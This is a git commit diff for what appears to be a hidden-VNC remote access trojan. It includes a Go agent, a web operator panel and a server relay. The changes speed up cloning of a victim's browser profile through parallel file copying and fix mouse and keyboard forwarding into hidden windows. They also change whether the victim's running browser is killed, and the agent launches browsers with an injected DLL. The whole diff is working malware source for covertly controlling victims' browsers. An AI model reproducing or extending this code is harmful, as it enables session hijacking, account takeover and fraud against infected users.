huge HVNC imporvements
This commit is contained in:
@@ -3,13 +3,35 @@
|
|||||||
package capture
|
package capture
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"io"
|
||||||
"log"
|
"log"
|
||||||
"os"
|
"os"
|
||||||
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
"syscall"
|
"syscall"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
func copyFileCount(src, dst string) (int64, error) {
|
||||||
|
in, err := os.Open(src)
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
defer in.Close()
|
||||||
|
|
||||||
|
if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
defer out.Close()
|
||||||
|
|
||||||
|
n, err := io.Copy(out, in)
|
||||||
|
return n, err
|
||||||
|
}
|
||||||
|
|
||||||
var (
|
var (
|
||||||
ntdll = syscall.NewLazyDLL("ntdll.dll")
|
ntdll = syscall.NewLazyDLL("ntdll.dll")
|
||||||
rstrtmgr = syscall.NewLazyDLL("rstrtmgr.dll")
|
rstrtmgr = syscall.NewLazyDLL("rstrtmgr.dll")
|
||||||
|
|||||||
@@ -5,11 +5,12 @@ package capture
|
|||||||
import (
|
import (
|
||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
|
||||||
"log"
|
"log"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
"syscall"
|
"syscall"
|
||||||
"time"
|
"time"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
@@ -421,22 +422,14 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
|
|||||||
onProgress(0, 0, totalBytes, "cloning")
|
onProgress(0, 0, totalBytes, "cloning")
|
||||||
}
|
}
|
||||||
|
|
||||||
var copiedBytes int64
|
type copyJob struct {
|
||||||
lastPercent := -1
|
src string
|
||||||
|
dst string
|
||||||
|
}
|
||||||
|
var jobs []copyJob
|
||||||
|
|
||||||
reportProgress := func(n int64) {
|
collectFile := func(src, dst string) {
|
||||||
if onProgress == nil || totalBytes <= 0 {
|
jobs = append(jobs, copyJob{src: src, dst: dst})
|
||||||
return
|
|
||||||
}
|
|
||||||
copiedBytes += n
|
|
||||||
pct := int(copiedBytes * 100 / totalBytes)
|
|
||||||
if pct > 100 {
|
|
||||||
pct = 100
|
|
||||||
}
|
|
||||||
if pct != lastPercent {
|
|
||||||
lastPercent = pct
|
|
||||||
onProgress(pct, copiedBytes, totalBytes, "cloning")
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, entry := range entries {
|
for _, entry := range entries {
|
||||||
@@ -445,29 +438,70 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
|
|||||||
dst := filepath.Join(cloneBase, name)
|
dst := filepath.Join(cloneBase, name)
|
||||||
|
|
||||||
if entry.IsDir() {
|
if entry.IsDir() {
|
||||||
// For profile directories (Default, Profile N), clone contents but skip caches inside
|
|
||||||
isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
|
isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
|
||||||
if isProfile {
|
if isProfile {
|
||||||
if err := cloneProfileDirProgress(browserName, src, dst, skipDirs, reportProgress); err != nil {
|
collectProfileDir(src, dst, skipDirs, collectFile)
|
||||||
log.Printf("hvnc %s: warning: could not clone profile %s: %v", browserName, name, err)
|
|
||||||
}
|
|
||||||
} else if !skipDirs[strings.ToLower(name)] {
|
} else if !skipDirs[strings.ToLower(name)] {
|
||||||
// Top-level non-profile directories (e.g. "Crashpad" skip, but keep others)
|
collectDirFiles(src, dst, collectFile)
|
||||||
if err := copyDirProgress(src, dst, reportProgress); err != nil {
|
|
||||||
log.Printf("hvnc %s: warning: could not copy dir %s: %v", browserName, name, err)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
// Top-level files (Local State, etc.)
|
collectFile(src, dst)
|
||||||
n, err := forceCopyFile(src, dst)
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
|
||||||
} else {
|
|
||||||
reportProgress(n)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
log.Printf("hvnc %s: cloning %d files using parallel workers", browserName, len(jobs))
|
||||||
|
|
||||||
|
dirs := make(map[string]struct{})
|
||||||
|
for _, j := range jobs {
|
||||||
|
dirs[filepath.Dir(j.dst)] = struct{}{}
|
||||||
|
}
|
||||||
|
for d := range dirs {
|
||||||
|
os.MkdirAll(d, 0700)
|
||||||
|
}
|
||||||
|
|
||||||
|
const numWorkers = 8
|
||||||
|
jobCh := make(chan copyJob, 256)
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
var copiedBytes atomic.Int64
|
||||||
|
var lastPercent atomic.Int32
|
||||||
|
lastPercent.Store(-1)
|
||||||
|
|
||||||
|
reportProgress := func(n int64) {
|
||||||
|
if onProgress == nil || totalBytes <= 0 || n <= 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cur := copiedBytes.Add(n)
|
||||||
|
pct := int32(cur * 100 / totalBytes)
|
||||||
|
if pct > 100 {
|
||||||
|
pct = 100
|
||||||
|
}
|
||||||
|
prev := lastPercent.Load()
|
||||||
|
if pct > prev && lastPercent.CompareAndSwap(prev, pct) {
|
||||||
|
onProgress(int(pct), cur, totalBytes, "cloning")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for i := 0; i < numWorkers; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer wg.Done()
|
||||||
|
for job := range jobCh {
|
||||||
|
n, err := forceCopyFile(job.src, job.dst)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, job.src, err)
|
||||||
|
} else {
|
||||||
|
reportProgress(n)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, job := range jobs {
|
||||||
|
jobCh <- job
|
||||||
|
}
|
||||||
|
close(jobCh)
|
||||||
|
wg.Wait()
|
||||||
|
|
||||||
if onProgress != nil {
|
if onProgress != nil {
|
||||||
onProgress(100, totalBytes, totalBytes, "done")
|
onProgress(100, totalBytes, totalBytes, "done")
|
||||||
}
|
}
|
||||||
@@ -475,6 +509,37 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
|
|||||||
return cloneBase, nil
|
return cloneBase, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func collectProfileDir(src, dst string, skipDirs map[string]bool, collect func(string, string)) {
|
||||||
|
entries, err := os.ReadDir(src)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
for _, entry := range entries {
|
||||||
|
name := entry.Name()
|
||||||
|
s := filepath.Join(src, name)
|
||||||
|
d := filepath.Join(dst, name)
|
||||||
|
if entry.IsDir() {
|
||||||
|
if skipDirs[strings.ToLower(name)] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
collectDirFiles(s, d, collect)
|
||||||
|
} else {
|
||||||
|
collect(s, d)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func collectDirFiles(src, dst string, collect func(string, string)) {
|
||||||
|
filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
|
||||||
|
if err != nil || info.IsDir() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
rel, _ := filepath.Rel(src, path)
|
||||||
|
collect(path, filepath.Join(dst, rel))
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
// calcCloneSize walks the source user data directory and returns the total
|
// calcCloneSize walks the source user data directory and returns the total
|
||||||
// byte count of files that would be copied (respecting skipDirs).
|
// byte count of files that would be copied (respecting skipDirs).
|
||||||
func calcCloneSize(srcUserData string, skipDirs map[string]bool) int64 {
|
func calcCloneSize(srcUserData string, skipDirs map[string]bool) int64 {
|
||||||
@@ -538,77 +603,6 @@ func calcDirSize(dir string) int64 {
|
|||||||
return total
|
return total
|
||||||
}
|
}
|
||||||
|
|
||||||
// cloneProfileDirProgress copies a profile directory with progress reporting.
|
|
||||||
func cloneProfileDirProgress(browserName, src, dst string, skipDirs map[string]bool, report func(int64)) error {
|
|
||||||
if err := os.MkdirAll(dst, 0700); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
entries, err := os.ReadDir(src)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
for _, entry := range entries {
|
|
||||||
name := entry.Name()
|
|
||||||
s := filepath.Join(src, name)
|
|
||||||
d := filepath.Join(dst, name)
|
|
||||||
|
|
||||||
if entry.IsDir() {
|
|
||||||
if skipDirs[strings.ToLower(name)] {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
if err := copyDirProgress(s, d, report); err != nil {
|
|
||||||
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
n, err := forceCopyFile(s, d)
|
|
||||||
if err != nil {
|
|
||||||
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
|
|
||||||
} else {
|
|
||||||
report(n)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func copyFileCount(src, dst string) (int64, error) {
|
|
||||||
in, err := os.Open(src)
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
defer in.Close()
|
|
||||||
|
|
||||||
if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
defer out.Close()
|
|
||||||
|
|
||||||
n, err := io.Copy(out, in)
|
|
||||||
return n, err
|
|
||||||
}
|
|
||||||
|
|
||||||
func copyDirProgress(src, dst string, report func(int64)) error {
|
|
||||||
return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
|
|
||||||
if err != nil {
|
|
||||||
return nil // skip errors
|
|
||||||
}
|
|
||||||
rel, _ := filepath.Rel(src, path)
|
|
||||||
target := filepath.Join(dst, rel)
|
|
||||||
if info.IsDir() {
|
|
||||||
return os.MkdirAll(target, 0700)
|
|
||||||
}
|
|
||||||
n, err := forceCopyFile(path, target)
|
|
||||||
if err == nil {
|
|
||||||
report(n)
|
|
||||||
}
|
|
||||||
return err
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error {
|
||||||
if filePath == "" {
|
if filePath == "" {
|
||||||
return fmt.Errorf("empty file path")
|
return fmt.Errorf("empty file path")
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"image"
|
"image"
|
||||||
"log"
|
"log"
|
||||||
|
"math"
|
||||||
"runtime"
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
@@ -170,6 +171,7 @@ var (
|
|||||||
hvncCurrentTaskID atomic.Uint64
|
hvncCurrentTaskID atomic.Uint64
|
||||||
hvncCurrentTaskKind atomic.Int64
|
hvncCurrentTaskKind atomic.Int64
|
||||||
hvncCurrentTaskNs atomic.Int64
|
hvncCurrentTaskNs atomic.Int64
|
||||||
|
hvncLastScale atomic.Uint64 // float64 bits — scale used by last HVNC capture
|
||||||
|
|
||||||
// Capture cache: pooled DC/DIB per window to avoid per-frame allocation
|
// Capture cache: pooled DC/DIB per window to avoid per-frame allocation
|
||||||
hvncWinCache map[uintptr]*hvncWinCacheEntry
|
hvncWinCache map[uintptr]*hvncWinCacheEntry
|
||||||
@@ -385,6 +387,7 @@ func CleanupHVNCDesktop() {
|
|||||||
hvncHasCursor = false
|
hvncHasCursor = false
|
||||||
hvncWorkingWindow = 0
|
hvncWorkingWindow = 0
|
||||||
hvncInputMu.Unlock()
|
hvncInputMu.Unlock()
|
||||||
|
hvncLastScale.Store(0)
|
||||||
|
|
||||||
if hvncDesktopHandle != 0 {
|
if hvncDesktopHandle != 0 {
|
||||||
if hvncOriginalDesktop != 0 {
|
if hvncOriginalDesktop != 0 {
|
||||||
@@ -731,6 +734,7 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
userScale := effectiveScale(srcW, srcH)
|
userScale := effectiveScale(srcW, srcH)
|
||||||
|
hvncLastScale.Store(math.Float64bits(userScale))
|
||||||
dstW := int(float64(srcW) * userScale)
|
dstW := int(float64(srcW) * userScale)
|
||||||
dstH := int(float64(srcH) * userScale)
|
dstH := int(float64(srcH) * userScale)
|
||||||
if dstW <= 0 || dstH <= 0 {
|
if dstW <= 0 || dstH <= 0 {
|
||||||
@@ -930,6 +934,13 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if bits := hvncLastScale.Load(); bits != 0 {
|
||||||
|
if s := math.Float64frombits(bits); s > 0 && s < 1 {
|
||||||
|
x = int32(float64(x) / s)
|
||||||
|
y = int32(float64(y) / s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
absX := bounds.Min.X + int(x)
|
absX := bounds.Min.X + int(x)
|
||||||
absY := bounds.Min.Y + int(y)
|
absY := bounds.Min.Y + int(y)
|
||||||
if absX < bounds.Min.X {
|
if absX < bounds.Min.X {
|
||||||
@@ -954,7 +965,14 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
|
|||||||
pt := point{x: int32(absX), y: int32(absY)}
|
pt := point{x: int32(absX), y: int32(absY)}
|
||||||
hitHwnd := windowFromPoint(pt)
|
hitHwnd := windowFromPoint(pt)
|
||||||
if hitHwnd != 0 {
|
if hitHwnd != 0 {
|
||||||
|
root := rootWindow(hitHwnd)
|
||||||
|
prevWorking := getWorkingWindow()
|
||||||
rememberWorkingWindow(hitHwnd)
|
rememberWorkingWindow(hitHwnd)
|
||||||
|
if prevWorking == 0 || rootWindow(prevWorking) != root {
|
||||||
|
procSetForegroundWindow.Call(root)
|
||||||
|
procSetActiveWindow.Call(root)
|
||||||
|
procSetFocus.Call(hitHwnd)
|
||||||
|
}
|
||||||
clientPt := pt
|
clientPt := pt
|
||||||
procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt)))
|
procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt)))
|
||||||
postMouseMessage(hitHwnd, WM_MOUSEMOVE, uintptr(currentMouseButtons()), clientPt)
|
postMouseMessage(hitHwnd, WM_MOUSEMOVE, uintptr(currentMouseButtons()), clientPt)
|
||||||
@@ -969,13 +987,23 @@ func hvncMouseButtonOnThread(button int, down bool) error {
|
|||||||
endHVNCWindowDrag(pt)
|
endHVNCWindowDrag(pt)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
setMouseButton(button, down)
|
||||||
|
|
||||||
hitHwnd := windowFromPoint(pt)
|
hitHwnd := windowFromPoint(pt)
|
||||||
if hitHwnd == 0 {
|
if hitHwnd == 0 {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
root := rootWindow(hitHwnd)
|
||||||
|
prevWorking := getWorkingWindow()
|
||||||
rememberWorkingWindow(hitHwnd)
|
rememberWorkingWindow(hitHwnd)
|
||||||
|
|
||||||
|
if down && (prevWorking == 0 || rootWindow(prevWorking) != root) {
|
||||||
|
procSetForegroundWindow.Call(root)
|
||||||
|
procSetActiveWindow.Call(root)
|
||||||
|
procSetFocus.Call(hitHwnd)
|
||||||
|
}
|
||||||
|
|
||||||
if button == 0 {
|
if button == 0 {
|
||||||
lparam := makeLParam(pt.x, pt.y)
|
lparam := makeLParam(pt.x, pt.y)
|
||||||
hitTest := safeNCHitTest(hitHwnd, lparam)
|
hitTest := safeNCHitTest(hitHwnd, lparam)
|
||||||
@@ -1065,10 +1093,20 @@ func hvncKeyOnThread(vk uint16, down bool) error {
|
|||||||
if hwnd == 0 {
|
if hwnd == 0 {
|
||||||
hwnd = getWorkingWindow()
|
hwnd = getWorkingWindow()
|
||||||
}
|
}
|
||||||
|
if hwnd == 0 {
|
||||||
|
hwnd = findAnyVisibleTopLevelWindow()
|
||||||
|
}
|
||||||
if hwnd == 0 {
|
if hwnd == 0 {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
rememberWorkingWindow(rootWindow(hwnd))
|
root := rootWindow(hwnd)
|
||||||
|
prevWorking := getWorkingWindow()
|
||||||
|
rememberWorkingWindow(root)
|
||||||
|
if prevWorking == 0 || rootWindow(prevWorking) != root {
|
||||||
|
procSetForegroundWindow.Call(root)
|
||||||
|
procSetActiveWindow.Call(root)
|
||||||
|
procSetFocus.Call(hwnd)
|
||||||
|
}
|
||||||
updateModifierState(vk, down)
|
updateModifierState(vk, down)
|
||||||
|
|
||||||
if isModifierVK(vk) {
|
if isModifierVK(vk) {
|
||||||
@@ -1094,6 +1132,17 @@ func foregroundWindow() uintptr {
|
|||||||
return r
|
return r
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func findAnyVisibleTopLevelWindow() uintptr {
|
||||||
|
hwnd := getTopWindow(0)
|
||||||
|
for hwnd != 0 {
|
||||||
|
if isWindowVisible(hwnd) {
|
||||||
|
return hwnd
|
||||||
|
}
|
||||||
|
hwnd = getWindow(hwnd, GW_HWNDNEXT)
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
func makeLParam(x, y int32) uintptr {
|
func makeLParam(x, y int32) uintptr {
|
||||||
return uintptr((uint32(y) << 16) | (uint32(x) & 0xFFFF))
|
return uintptr((uint32(y) << 16) | (uint32(x) & 0xFFFF))
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1356,7 +1356,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
exePath := ""
|
exePath := ""
|
||||||
clone := true
|
clone := true
|
||||||
cloneLite := false
|
cloneLite := false
|
||||||
killIfRunning := true
|
killIfRunning := false
|
||||||
if payload != nil {
|
if payload != nil {
|
||||||
if v, ok := payload["browser"].(string); ok {
|
if v, ok := payload["browser"].(string); ok {
|
||||||
browser = v
|
browser = v
|
||||||
|
|||||||
@@ -66,6 +66,12 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
const agentFps = document.getElementById("agentFps");
|
const agentFps = document.getElementById("agentFps");
|
||||||
const viewerFps = document.getElementById("viewerFps");
|
const viewerFps = document.getElementById("viewerFps");
|
||||||
const statusEl = document.getElementById("streamStatus");
|
const statusEl = document.getElementById("streamStatus");
|
||||||
|
|
||||||
|
function syncInputEnableState() {
|
||||||
|
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
|
||||||
|
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||||
|
if (cursorCtrl) sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
|
||||||
|
}
|
||||||
let activeClientId = clientId;
|
let activeClientId = clientId;
|
||||||
let renderCount = 0;
|
let renderCount = 0;
|
||||||
let renderWindowStart = performance.now();
|
let renderWindowStart = performance.now();
|
||||||
@@ -232,6 +238,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
sendCmd("hvnc_start", {
|
sendCmd("hvnc_start", {
|
||||||
autoStartExplorer: false,
|
autoStartExplorer: false,
|
||||||
});
|
});
|
||||||
|
syncInputEnableState();
|
||||||
} else {
|
} else {
|
||||||
setStreamState("idle", "Stopped");
|
setStreamState("idle", "Stopped");
|
||||||
}
|
}
|
||||||
@@ -475,6 +482,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
sendCmd("hvnc_start", {
|
sendCmd("hvnc_start", {
|
||||||
autoStartExplorer: false,
|
autoStartExplorer: false,
|
||||||
});
|
});
|
||||||
|
syncInputEnableState();
|
||||||
});
|
});
|
||||||
stopBtn.addEventListener("click", function () {
|
stopBtn.addEventListener("click", function () {
|
||||||
desiredStreaming = false;
|
desiredStreaming = false;
|
||||||
@@ -673,6 +681,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
|||||||
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
|
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
|
||||||
}
|
}
|
||||||
sendCmd("hvnc_start", { autoStartExplorer: false });
|
sendCmd("hvnc_start", { autoStartExplorer: false });
|
||||||
|
syncInputEnableState();
|
||||||
} else {
|
} else {
|
||||||
setStreamState("idle", "Stopped");
|
setStreamState("idle", "Stopped");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -176,7 +176,7 @@
|
|||||||
<span class="text-xs text-slate-300">Lite clone (no extensions)</span>
|
<span class="text-xs text-slate-300">Lite clone (no extensions)</span>
|
||||||
</label>
|
</label>
|
||||||
<label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
|
<label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||||
<input type="checkbox" id="hvncKillIfRunningToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
|
<input type="checkbox" id="hvncKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||||
<span class="text-xs text-slate-300">Kill browser if running</span>
|
<span class="text-xs text-slate-300">Kill browser if running</span>
|
||||||
</label>
|
</label>
|
||||||
<button
|
<button
|
||||||
|
|||||||
@@ -713,7 +713,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
path: String(payload.path || ""),
|
path: String(payload.path || ""),
|
||||||
clone: payload.clone !== false,
|
clone: payload.clone !== false,
|
||||||
cloneLite: payload.cloneLite === true,
|
cloneLite: payload.cloneLite === true,
|
||||||
killIfRunning: payload.killIfRunning !== false,
|
killIfRunning: payload.killIfRunning === true,
|
||||||
dll: dllData,
|
dll: dllData,
|
||||||
});
|
});
|
||||||
break;
|
break;
|
||||||
|
|||||||
Reference in New Issue
Block a user